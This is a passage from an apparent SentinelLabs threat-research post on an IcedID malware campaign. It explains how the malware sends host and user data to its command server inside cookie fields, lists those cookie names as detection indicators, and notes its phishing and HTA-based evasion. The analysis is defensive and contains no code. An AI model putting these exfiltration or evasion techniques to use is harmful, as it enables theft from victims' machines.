The malware’s main module functions to steal credentials from the victim’s machine, exfiltrating information back to the C2 server.

A cookie which has information from the infected host is sent to the C2 and contains the OS type, username, computer name, and CPU domain, giving the operators a good understanding of the compromised environment.

_gat: Windows version info 6.3.9600.64 is Windows 8.1 64bit
_ga: Processor CPUID information
_u: Username and Computername DESKTOP-FRH1VBHMarcoFB35A6FF06678D37
__io: Domain id
_gid: NIC
IceID exfiltrates environmental data via a cookie

Discovering network traffic with the headers listed above is an indication that the host has been infected with IcedID malware.


Many IcedID attacks begin with a phishing email and users opening the attachment. In this campaign, IcedID uses a maldoc in the initial infection stage in an attempt to bypass defenses by interacting with the contents of the document itself. The use of an HTA file with its dependency on IE’s mshta.exe is reasonably unusual behavior that defenders can monitor for in their environments. This, along with other techniques such as changing the file extension and the behavior of the DLL, should be detected by a capable Next Gen security solution.

Indicators of Compromise


The post Evasive Maneuvers | Massive IcedID Campaign Aims For Stealth with Benign Macros appeared first on SentinelLabs.